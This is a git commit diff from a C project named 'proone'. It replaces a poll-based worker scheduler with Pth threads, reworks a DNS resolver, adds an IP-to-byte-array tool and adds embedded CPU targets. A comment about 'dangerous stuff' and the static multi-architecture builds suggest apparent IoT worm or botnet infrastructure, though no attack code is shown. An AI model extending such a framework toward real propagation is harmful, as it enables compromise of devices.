aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--proone.code-workspace4
-rw-r--r--src/Makefile.am9
-rw-r--r--src/config.c10
-rw-r--r--src/mbedtls.c4
-rw-r--r--src/mbedtls.h4
-rw-r--r--src/proone-ipaddr-arr.c45
-rw-r--r--src/proone-resolv.c352
-rw-r--r--src/proone.c347
-rw-r--r--src/proone.h10
-rw-r--r--src/protocol.c6
-rw-r--r--src/protocol.h4
-rw-r--r--src/pth.c116
-rw-r--r--src/pth.h31
-rw-r--r--src/resolv.c (renamed from src/resolv_worker.c)952
-rw-r--r--src/resolv.h (renamed from src/resolv_worker.h)13
-rw-r--r--src/util_ct.h8
-rw-r--r--src/util_rt.c44
-rw-r--r--src/util_rt.h8
-rw-r--r--src/worker.c290
-rw-r--r--src/worker.h79
20 files changed, 925 insertions, 1411 deletions
diff --git a/proone.code-workspace b/proone.code-workspace
index facd4cd..58370ea 100644
--- a/proone.code-workspace
+++ b/proone.code-workspace
@@ -8,8 +8,8 @@
"editor.insertSpaces": false,
"C_Cpp.default.cStandard": "c11",
"C_Cpp.default.defines": [
- // TODO: Use "_POSIX_C_SOURCE=200112L",
- "-D_GNU_SOURCE",
+ // "_POSIX_C_SOURCE=200112L",
+ "_GNU_SOURCE=1", // TODO: remove
"PRNE_DEBUG",
"PRNE_BUILD_ENTROPY=\"84532ab2-0857-4137-9daf-abd990684889\""],
"C_Cpp.default.compilerArgs": [
diff --git a/src/Makefile.am b/src/Makefile.am
index cbd1fd1..2c320a2 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -15,7 +15,8 @@ bin_PROGRAMS =\
proone-mask\
proone-print-all-data\
proone-resolv\
- proone-stress
+ proone-stress\
+ proone-ipaddr-arr
libproone_a_SOURCES =\
config.c\
@@ -28,8 +29,8 @@ libproone_a_SOURCES =\
iset.c\
imap.c\
mbedtls.c\
- worker.c\
- resolv_worker.c
+ pth.c\
+ resolv.c
proone_LDFLAGS = -static
proone_LDADD = libproone.a
@@ -60,6 +61,8 @@ proone_resolv_LDADD = libproone.a
proone_resolv_LDFLAGS =
proone_resolv_SOURCES = proone-resolv.c
+proone_ipaddr_arr_SOURCES = proone-ipaddr-arr.c
+
proone_stress_LDADD = libproone.a
proone_stress_LDFLAGS = -static
proone_stress_SOURCES = proone-stress.c
diff --git a/src/config.c b/src/config.c
index 7e6512d..f333c06 100644
--- a/src/config.c
+++ b/src/config.c
@@ -27,6 +27,16 @@ const prne_arch_t prne_host_arch =
PRNE_ARCH_PPC
#elif defined(__SH4__)
PRNE_ARCH_SH4
+ #elif defined(__m68k__)
+ PRNE_ARCH_M68K
+ #elif defined(__arc__)
+ #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
+ PRNE_ARCH_ARCEB
+ #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
+ PRNE_ARCH_ARC
+ #else
+ #error "FIXME!"
+ #endif
#else
#error "FIXME!"
#endif
diff --git a/src/mbedtls.c b/src/mbedtls.c
index 333cf1d..2b2cbc6 100644
--- a/src/mbedtls.c
+++ b/src/mbedtls.c
@@ -19,7 +19,7 @@ int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt
int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) {
const int fd = *(int*)ctx;
ssize_t ret;
-
+
ret = write(fd, buf, len);
if (ret < 0) {
switch (errno) {
@@ -77,6 +77,7 @@ typedef struct {
pid_t ppid;
clock_t clock;
struct timespec now;
+ struct timespec datetime;
} ent_buf_t;
static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, size_t len, size_t *olen) {
@@ -87,6 +88,7 @@ static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, s
buf.ppid = getppid();
buf.clock = clock();
clock_gettime(CLOCK_MONOTONIC, &buf.now);
+ clock_gettime(CLOCK_REALTIME, &buf.datetime);
*olen = prne_op_min(len, sizeof(buf));
memcpy(output, &buf, sizeof(*olen));
diff --git a/src/mbedtls.h b/src/mbedtls.h
index e1339bb..e7a9017 100644
--- a/src/mbedtls.h
+++ b/src/mbedtls.h
@@ -11,5 +11,7 @@
int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags);
int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len);
int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len);
-// Workaround for a bug - getrandom() blocks
+/*
+* Workaround for a bug - getrandom() blocks
+*/
void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx);
diff --git a/src/proone-ipaddr-arr.c b/src/proone-ipaddr-arr.c
new file mode 100644
index 0000000..ae8e7bd
--- /dev/null
+++ b/src/proone-ipaddr-arr.c
@@ -0,0 +1,45 @@
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+
+#include <arpa/inet.h>
+#include <regex.h>
+
+
+int main (const int argc, const char **args) {
+ static const int AF[2] = { AF_INET, AF_INET6 };
+ char buf[512];
+ uint8_t addr[16];
+ size_t i;
+ regex_t re_trim;
+ regmatch_t rm[2];
+
+ assert(regcomp(&re_trim, "(\\S+)", REG_EXTENDED) == 0);
+
+ while (fgets(buf, sizeof(buf), stdin) != NULL) {
+ if (regexec(&re_trim, buf, 2, rm, 0) != 0) {
+ goto CYCLE;
+ }
+ assert(rm[1].rm_so >= 0 && rm[1].rm_eo >= 0);
+ buf[rm[1].rm_eo] = 0;
+
+ for (i = 0; i < 2; i += 1) {
+ memset(addr, 0, sizeof(addr));
+
+ if (inet_pton(AF[i], buf + rm[1].rm_so, addr) != 0) {
+ printf("{ 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x }",
+ addr[0], addr[1], addr[2], addr[3], addr[4], addr[5], addr[6], addr[7], addr[8], addr[9], addr[10], addr[11], addr[12], addr[13], addr[14], addr[15]);
+ break;
+ }
+ }
+
+CYCLE:
+ printf("\n");
+ }
+
+ regfree(&re_trim);
+
+ return 0;
+}
diff --git a/src/proone-resolv.c b/src/proone-resolv.c
index 44389b4..4897681 100644
--- a/src/proone-resolv.c
+++ b/src/proone-resolv.c
@@ -14,31 +14,30 @@
#include <sys/types.h>
#include <arpa/inet.h>
+#include <pthsem.h>
#include <mbedtls/entropy.h>
#include "util_rt.h"
#include "util_ct.h"
#include "llist.h"
-#include "resolv_worker.h"
+#include "pth.h"
+#include "resolv.h"
#include "mbedtls.h"
-static int caught_signal = 0;
-static int int_pipe[2] = { -1, -1 };
static regex_t prmpt_regex, empty_line_regex;
static mbedtls_entropy_context entropy;
static mbedtls_ctr_drbg_context rnd;
-static prne_wkr_sched_req_t wsr;
-static prne_wkr_pollfd_slot_pt stdin_pfd = NULL;
-typedef struct {
- prne_resolv_prm_t prm;
- prne_wkr_pollfd_slot_pt slot;
-} prm_tuple_t;
+bool main_flag = false;
+pth_t pth_main;
prne_llist_t prm_list;
+pth_mutex_t prm_lock = PTH_MUTEX_INIT;
+pth_cond_t prm_cond = PTH_COND_INIT;
+prne_pth_cv_t prm_cv = { &prm_lock, &prm_cond, false };
-prne_resolv_wkr_ctx_t resolv = NULL;
+prne_resolv_t *resolv = NULL;
static void upperstr (char *str, const size_t n) {
for (size_t i = 0; i < n; i += 1) {
@@ -61,12 +60,12 @@ static void proc_prompt_line (char *line, const size_t line_len) {
static regmatch_t rm[3];
if (regexec(&prmpt_regex, line, 3, rm, 0) == 0) {
+ prne_resolv_prm_t *prm = (prne_resolv_prm_t*)prne_malloc(sizeof(prne_resolv_prm_t), 1);
char *verb, *obj;
size_t verb_len, obj_len;
- prm_tuple_t tpl;
bool has_prm = false;
- assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0);
+ prne_assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0);
verb = line + rm[1].rm_so;
verb_len = rm[1].rm_eo - rm[1].rm_so;
@@ -76,152 +75,122 @@ static void proc_prompt_line (char *line, const size_t line_len) {
obj[obj_len] = 0;
if (strncmp(verb, "A", verb_len) == 0) {
- has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &tpl.prm, NULL);
+ has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &prm_cv, prm);
}
else if (strncmp(verb, "AAAA", verb_len) == 0) {
- has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &tpl.prm, NULL);
+ has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &prm_cv, prm);
}
else if (strncmp(verb, "TXT", verb_len) == 0) {
- has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &tpl.prm, NULL);
+ has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &prm_cv, prm);
}
else {
abort();
}
if (has_prm) {
- prm_tuple_t *e;
-
- tpl.slot = prne_alloc_wkr_pollfd_slot(&wsr);
- tpl.slot->pfd.fd = tpl.prm.evtfd;
- tpl.slot->pfd.events = POLLIN;
- e = prne_malloc(sizeof(prm_tuple_t), 1);
- memcpy(e, &tpl, sizeof(prm_tuple_t));
-
- assert(prne_llist_append(&prm_list, e) != NULL);
+ prne_assert(prne_llist_append(&prm_list, prm) != NULL);
}
else {
perror("* Queue failed");
+ prne_free(prm);
}
}
else if (line_len > 0 && regexec(&empty_line_regex, line, 0, NULL, 0) != 0) {
fprintf(stderr, "* Line not recognised.\n");
}
-
- fprintf(stderr, "> ");
- fflush(stderr);
-}
-
-static void main_wkr_free (void *ctx) {
- prne_llist_entry_t *cur;
-
- prne_free_wkr_pollfd_slot(stdin_pfd);
- stdin_pfd = NULL;
-
- cur = prm_list.head;
- while (cur != NULL) {
- prm_tuple_t *tpl = (prm_tuple_t*)cur->element;
- prne_free_wkr_pollfd_slot(tpl->slot);
- prne_resolv_free_prm(&tpl->prm);
- prne_free(tpl);
- cur = cur->next;
- }
-
- prne_free_llist(&prm_list);
-}
-
-static void main_wkr_fin (void *ctx) {
- prne_free_wkr_pollfd_slot(stdin_pfd);
- stdin_pfd = NULL;
}
-static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) {
- if (stdin_pfd != NULL) {
- if (stdin_pfd->pfd.revents & POLLIN) {
- static char line_buf[512];
- static size_t line_buf_cnt = 0;
- static bool missed_line = false;
- int read_len;
-
- read_len = read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt);
- if (read_len > 0) {
- char *line_buf_end, *line, *line_end;
- size_t line_len, consumed = 0;
-
- line_buf_cnt += (size_t)read_len;
- line_buf_end = line_buf + line_buf_cnt;
- line = line_buf;
- while (line < line_buf_end) {
- line_end = prne_strnchr(line, '\n', line_buf_end - line);
- if (line_end == NULL) {
- break;
- }
-
- if (missed_line) {
- missed_line = false;
- }
- else {
- *line_end = 0;
- line_len = line_end - line;
- proc_prompt_line(line, line_len);
- }
- consumed += line_end - line + 1;
- line = line_end + 1;
+static void *stdin_wkr_entry (void *ctx) {
+ while (main_flag) {
+ static char line_buf[512];
+ static size_t line_buf_cnt = 0;
+ static bool missed_line = false;
+ int read_len;
+
+ read_len = pth_read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt);
+ if (read_len > 0) {
+ char *line_buf_end, *line, *line_end;
+ size_t line_len, consumed = 0;
+
+ line_buf_cnt += (size_t)read_len;
+ line_buf_end = line_buf + line_buf_cnt;
+ line = line_buf;
+ while (line < line_buf_end) {
+ line_end = prne_strnchr(line, '\n', line_buf_end - line);
+ if (line_end == NULL) {
+ break;
}
- if (consumed > 0) {
- memmove(line_buf, line, line_buf_cnt - consumed);
- line_buf_cnt -= consumed;
+ if (missed_line) {
+ missed_line = false;
}
else {
- line_buf_cnt = 0;
- if (!missed_line) {
- fprintf(stderr, "* Line too long!\n");
- }
- missed_line = true;
+ *line_end = 0;
+ line_len = line_end - line;
+ proc_prompt_line(line, line_len);
}
+ consumed += line_end - line + 1;
+ line = line_end + 1;
+ }
+
+ if (consumed > 0) {
+ memmove(line_buf, line, line_buf_cnt - consumed);
+ line_buf_cnt -= consumed;
}
else {
- kill(getpid(), SIGTERM);
- return;
+ line_buf_cnt = 0;
+ if (!missed_line) {
+ fprintf(stderr, "* Line too long!\n");
+ }
+ missed_line = true;
}
}
- else if (stdin_pfd->pfd.revents) {
- kill(getpid(), SIGTERM);
- return;
+ else if (read_len == 0) {
+ pth_raise(pth_main, SIGTERM);
+ break;
+ }
+ else {
+ break;
}
+
+ fflush(stderr);
}
- if (prm_list.size > 0) {
- prm_tuple_t *tpl;
- prne_llist_entry_t *cur;
- bool output = false;
+
+ return NULL;
+}
+
+static void *stdout_wkr_entry (void *ctx) {
+ prne_resolv_prm_t *prm;
+ prne_llist_entry_t *cur;
+ bool output = false;
+
+ while (main_flag || prm_list.size > 0) {
+ prne_assert(prne_pth_cond_timedwait(&prm_cv, NULL, NULL));
cur = prm_list.head;
while (cur != NULL) {
- tpl = (prm_tuple_t*)cur->element;
+ prm = (prne_resolv_prm_t*)cur->element;
- assert((tpl->slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0);
-
- if (tpl->slot->pfd.revents) {
+ if (prm->fut != NULL && prm->fut->qr != PRNE_RESOLV_QR_NONE) {
static char ntop_buf[INET6_ADDRSTRLEN];
const char *qr_str, *status_str;
size_t i;
output = true;
- fprintf(stderr, "\n");
- qr_str = prne_resolv_qr_tostr(tpl->prm.fut->qr);
- assert(qr_str != NULL);
+ qr_str = prne_resolv_qr_tostr(prm->fut->qr);
+ prne_assert(qr_str != NULL);
status_str = NULL;
- if (tpl->prm.fut->qr == PRNE_RESOLV_QR_OK || tpl->prm.fut->qr == PRNE_RESOLV_QR_STATUS) {
- status_str = prne_resolv_rcode_tostr(tpl->prm.fut->status);
+ if (prm->fut->qr == PRNE_RESOLV_QR_OK || prm->fut->qr == PRNE_RESOLV_QR_STATUS) {
+ status_str = prne_resolv_rcode_tostr(prm->fut->status);
}
if (status_str == NULL) {
status_str = "";
}
printf("; qr: %7s, err: %3d, status: (%u)%s\n",
- qr_str, tpl->prm.fut->err, tpl->prm.fut->status, status_str);
- for (i = 0; i < tpl->prm.fut->rr_cnt; i += 1) {
- prne_resolv_rr_t *rr = tpl->prm.fut->rr + i;
+ qr_str, prm->fut->err, prm->fut->status, status_str);
+ for (i = 0; i < prm->fut->rr_cnt; i += 1) {
+ prne_resolv_rr_t *rr = prm->fut->rr + i;
const char *type_str;
type_str = prne_resolv_rrtype_tostr(rr->rr_type);
@@ -253,9 +222,7 @@ static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) {
}
printf(";\n");
- prne_resolv_free_prm(&tpl->prm);
- prne_free_wkr_pollfd_slot(tpl->slot);
- prne_free(tpl);
+ prne_resolv_free_prm(prm);
cur = prne_llist_erase(&prm_list, cur);
}
else {
@@ -264,141 +231,74 @@ static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) {
}
if (output) {
- fprintf(stderr, "> ");
fflush(stdout);
- fflush(stderr);
}
}
-}
-
-static bool main_wkr_has_finalised (void *ctx) {
- return stdin_pfd == NULL && prm_list.size == 0;
-}
-
-static void init_main_wkr (prne_worker_t *wkr) {
- wkr->ctx = NULL;
- wkr->free = main_wkr_free;
- wkr->fin = main_wkr_fin;
- wkr->work = main_wkr_work;
- wkr->has_finalised = main_wkr_has_finalised;
-
- stdin_pfd = prne_alloc_wkr_pollfd_slot(&wsr);
- stdin_pfd->pfd.fd = STDIN_FILENO;
- stdin_pfd->pfd.events = POLLIN;
-
- prne_init_llist(&prm_list);
-}
-static void handle_interrupt (const int sn) {
- caught_signal = sn;
- write(int_pipe[1], &sn, 1);
+ return NULL;
}
-static void install_signal_handlers (void) {
- struct sigaction sa;
+int main (void) {
+ prne_worker_t wkr_arr[3];
+ sigset_t sigset;
+ int caught;
- if (pipe(int_pipe) == 0) {
- prne_set_pipe_size(int_pipe[0], 1);
- prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK));
- prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK));
- prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC));
- prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC));
+ for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+ prne_init_worker(wkr_arr + i);
}
+ prne_assert(sigemptyset(&sigset) == 0);
+ prne_assert(sigaddset(&sigset, SIGTERM) == 0);
+ prne_assert(sigaddset(&sigset, SIGINT) == 0);
- memzero(&sa, sizeof(struct sigaction));
- sa.sa_flags = SA_RESETHAND;
- sa.sa_handler = handle_interrupt;
-
- sigaction(SIGINT, &sa, NULL);
- sigaction(SIGTERM, &sa, NULL);
-}
+ prne_assert(pth_init() != 0);
+ pth_main = pth_self();
-int main (void) {
- static prne_worker_t wkr_arr[2];
- static size_t i;
- static prne_wkr_tick_info_t ti;
- static int poll_ret;
- static bool finalising = false;
- static prne_wkr_pollfd_slot_pt int_pfd = NULL;
-
- /* org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+) */
- assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0);
- /* org regex: ^\s+$ */
- assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0);
+ // org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+)
+ prne_assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0);
+ // org regex: ^\s+$
+ prne_assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0);
prne_mbedtls_entropy_init(&entropy);
mbedtls_ctr_drbg_init(&rnd);
- assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0);
- prne_init_wkr_sched_req(&wsr);
- prne_init_wkr_tick_info(&ti);
-
- prne_ok_or_die(fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK));
- install_signal_handlers();
- int_pfd = prne_alloc_wkr_pollfd_slot(&wsr);
- int_pfd->pfd.fd = int_pipe[0];
- int_pfd->pfd.events = POLLIN;
-
- init_main_wkr(&wkr_arr[0]);
- wkr_arr[0].id = 0;
- resolv = prne_alloc_resolv_worker(&wkr_arr[1], &wsr, &rnd);
- assert(resolv != NULL);
-
- fprintf(stderr, "> ");
- fflush(stderr);
-
- prne_wkr_tick_info_set_start(&ti);
- while (true) {
- static bool worked;
-
- if (caught_signal && !finalising) {
- int_pfd->pfd.fd = -1;
-
- for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) {
- if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) {
- continue;
- }
- wkr_arr[i].fin(wkr_arr[i].ctx);
- }
- finalising = true;
- }
+ prne_assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0);
+ prne_init_llist(&prm_list);
+
+ resolv = prne_alloc_resolv(&wkr_arr[0], &rnd);
+ prne_assert(resolv != NULL);
- worked = false;
- for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) {
- if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) {
- if (!finalising) {
- fprintf(stderr, "** worker #%zu finalised!\n", wkr_arr[i].id);
- abort();
- }
- }
- else {
- wkr_arr[i].work(wkr_arr[i].ctx, &ti);
- worked = true;
- }
- }
- if (!worked) {
- break;
- }
+ wkr_arr[1].entry = stdin_wkr_entry;
+ wkr_arr[2].entry = stdout_wkr_entry;
- poll_ret = -1;
- if (prne_wkr_sched_req_prep_poll(&wsr)) {
- prne_wkr_sched_req_do_poll(&wsr, &poll_ret);
- }
- prne_wkr_tick_info_set_tick(&ti);
- prne_wkr_sched_req_refl_poll(&wsr, poll_ret, ti.tick_diff);
+ main_flag = true;
+ for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+ wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx);
}
- for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) {
- wkr_arr[i].free(wkr_arr[i].ctx);
+ pth_sigmask(SIG_BLOCK, &sigset, NULL);
+ pth_sigwait(&sigset, &caught);
+ pth_sigmask(SIG_UNBLOCK, &sigset, NULL);
+
+ main_flag = false;
+ close(STDIN_FILENO);
+ prne_pth_cv_notify(&prm_cv);
+ for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+ prne_fin_worker(wkr_arr + i);
+ }
+ for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+ assert(pth_join(wkr_arr[i].pth, NULL));
+ prne_free_worker(wkr_arr + i);
}
- prne_free_wkr_pollfd_slot(int_pfd);
- prne_free_wkr_sched_req(&wsr);
- prne_free_wkr_tick_info(&ti);
mbedtls_ctr_drbg_free(&rnd);
mbedtls_entropy_free(&entropy);
regfree(&prmpt_regex);
regfree(&empty_line_regex);
- fprintf(stderr, "\n");
+ for (prne_llist_entry_t *cur = prm_list.head; cur != NULL; cur = cur->next) {
+ prne_resolv_prm_t *prm = (prne_resolv_prm_t*)cur->element;
+ prne_resolv_free_prm(prm);
+ prne_free(prm);
+ }
+ prne_free_llist(&prm_list);
return 0;
}
diff --git a/src/proone.c b/src/proone.c
index 4fdae85..af77ba2 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -29,204 +29,81 @@
struct prne_global prne_g;
struct prne_shared_global *prne_s_g = NULL;
-static prne_worker_t resolv_wkr;
-static prne_worker_t htbt_wkr;
-static prne_worker_t* wkr_arr[2] = { NULL, NULL };
-static prne_llist_t wkr_pool;
-static void (*proc_fin_call_ptr)(void) = NULL;
-static bool finalising = false;
-static int int_pipe[2] = { -1, -1 };
-static prne_wkr_pollfd_slot_pt int_pfd = NULL;
-
-static void proc_fin_call (void) {
- if (prne_g.caught_signal != 0) {
- prne_llist_entry_t *cur = wkr_pool.head;
- prne_worker_t *w;
-
- prne_free_wkr_pollfd_slot(int_pfd);
- int_pfd = NULL;
-
- while (cur != NULL) {
- w = (prne_worker_t*)cur->element;
- if (!w->has_finalised(w->ctx)) {
- w->fin(w->ctx);
- }
- cur = cur->next;
- }
+sigset_t ss_exit, ss_all;
- proc_fin_call_ptr = prne_empty_func;
- finalising = true;
- }
-}
+static prne_worker_t wkr_arr[2];
+static size_t wkr_cnt = 0;
-static void alloc_workers (prne_wkr_sched_req_t *sched_req) {
- prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd);
- if (prne_g.resolv != NULL) {
- resolv_wkr.id = PRNE_RESOLV_WKR_ID;
- wkr_arr[0] = &resolv_wkr;
- if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) {
- prne_g.resolv = NULL;
- }
+static void alloc_workers (void) {
+ for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+ prne_init_worker(wkr_arr + i);
}
+
+ prne_g.resolv = prne_alloc_resolv(wkr_arr + 0, &prne_g.ssl.rnd);
+ prne_assert(prne_g.resolv != NULL);
+ wkr_cnt += 1;
}
static void free_workers (void) {
- for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) {
- if (wkr_arr[i] == NULL) {
- continue;
- }
- wkr_arr[i]->free(wkr_arr[i]->ctx);
- wkr_arr[i] = NULL;
+ for (size_t i = 0; i < wkr_cnt; i += 1) {
+ prne_free_worker(wkr_arr + i);
}
prne_g.resolv = NULL;
}
-#ifdef PRNE_DEBUG
-static void handle_sigpipe (const int sn) {
- // ALWAYS poll() before writing to fd!
- abort();
-}
-#endif
-
-static void handle_sigchld (const int sn) {
- const int saved_errno = errno;
- pid_t reaped;
-
- do {
- reaped = waitpid(-1, NULL, WNOHANG);
- } while (reaped > 0);
-
- errno = saved_errno;
-}
-
static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) {
if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) {
mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0);
}
}
+/* proone_main()
+* Actual main where all dangerous stuff happens.
+* Most of long-lived variables are declared static so there's little stack
+* allocation involvedsince stack allocation can cause page fault.
+*/
static int proone_main (void) {
-#ifdef PRNE_DEBUG
- static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s
-#endif
- static int exit_code = 0, poll_ret;
- static prne_wkr_tick_info_t tick_info;
- static prne_wkr_sched_req_t sched_req;
- static prne_llist_entry_t *cur;
- static prne_worker_t *wkr;
-#ifdef PRNE_DEBUG
- static struct {
- prne_wkr_sched_req_t sched;
- prne_wkr_timeout_slot_pt busy_tos;
- bool sched_ret;
- } dbg;
-#endif
+ static int caught_sig;
+ static pid_t reaped;
- prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.child_start));
- seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY));
+ prne_assert(pth_init());
+ prne_g.main_pth = pth_self();
-#ifdef PRNE_DEBUG
- signal(SIGPIPE, handle_sigpipe);
-#else
+#ifndef PRNE_DEBUG
signal(SIGPIPE, SIG_IGN);
#endif
- signal(SIGCHLD, handle_sigchld);
-
-#ifdef PRNE_DEBUG
- prne_init_wkr_sched_req(&dbg.sched);
- dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched);
- assert(dbg.busy_tos != NULL);
-#endif
- prne_init_wkr_sched_req(&sched_req);
- prne_init_wkr_tick_info(&tick_info);
- prne_init_llist(&wkr_pool);
- alloc_workers(&sched_req);
- int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req);
- if (int_pfd != NULL) {
- int_pfd->pfd.fd = int_pipe[0];
- int_pfd->pfd.events = POLLIN;
- }
+ seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY));
+ alloc_workers();
- if (wkr_pool.size == 0) {
- exit_code = 1;
- goto END;
+ for (size_t i = 0; i < wkr_cnt; i += 1) {
+ wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx);
+ prne_assert(wkr_arr[i].pth != NULL);
}
- if (prne_g.caught_signal != 0) {
- goto END;
- }
-
- proc_fin_call_ptr = proc_fin_call;
- prne_wkr_tick_info_set_start(&tick_info);
- while (true) {
- proc_fin_call_ptr();
-
- cur = wkr_pool.head;
- while (cur != NULL) {
- wkr = (prne_worker_t*)cur->element;
-
- if (wkr->has_finalised(wkr->ctx)) {
- cur = prne_llist_erase(&wkr_pool, cur);
- }
- else {
- wkr->work(wkr->ctx, &tick_info);
- cur = cur->next;
- }
- }
- if (wkr_pool.size == 0) {
- exit_code = finalising ? 0 : 1;
- break;
+ do {
+ prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0);
+ if (caught_sig == SIGCHLD) {
+ do {
+ reaped = waitpid(-1, NULL, WNOHANG);
+ } while (reaped > 0);
+ continue;
}
+ } while (false);
+ sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
- poll_ret = -1;
- if (prne_wkr_sched_req_prep_poll(&sched_req)) {
-#ifdef PRNE_DEBUG
- if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) {
- if (!dbg.busy_tos->active) {
- dbg.busy_tos->active = true;
- dbg.busy_tos->dur = DBG_BUSY_CHECK_INT;
- }
- }
- else {
- dbg.busy_tos->active = false;
- }
- dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched);
-#endif
- prne_wkr_sched_req_do_poll(&sched_req, &poll_ret);
- }
- else {
-#ifdef PRNE_DEBUG
- dbg.busy_tos->active = false;
- dbg.sched_ret = false;
-#endif
- }
- prne_wkr_tick_info_set_tick(&tick_info);
- prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff);
-#ifdef PRNE_DEBUG
- if (dbg.sched_ret) {
- prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff);
- if (dbg.busy_tos->active && dbg.busy_tos->reached) {
- const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT);
- dbg.busy_tos->active = false;
- fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s");
- }
- }
-#endif
+ for (size_t i = 0; i < wkr_cnt; i += 1) {
+ prne_fin_worker(wkr_arr + i);
+ }
+ for (size_t i = 0; i < wkr_cnt; i += 1) {
+ prne_assert(pth_join(wkr_arr[i].pth, NULL));
+ prne_free_worker(wkr_arr + i);
}
-END:
free_workers();
- prne_free_llist(&wkr_pool);
- prne_free_wkr_pollfd_slot(int_pfd);
- prne_free_wkr_tick_info(&tick_info);
- prne_free_wkr_sched_req(&sched_req);
-#ifdef PRNE_DEBUG
- prne_free_wkr_timeout_slot(dbg.busy_tos);
- prne_free_wkr_sched_req(&dbg.sched);
-#endif
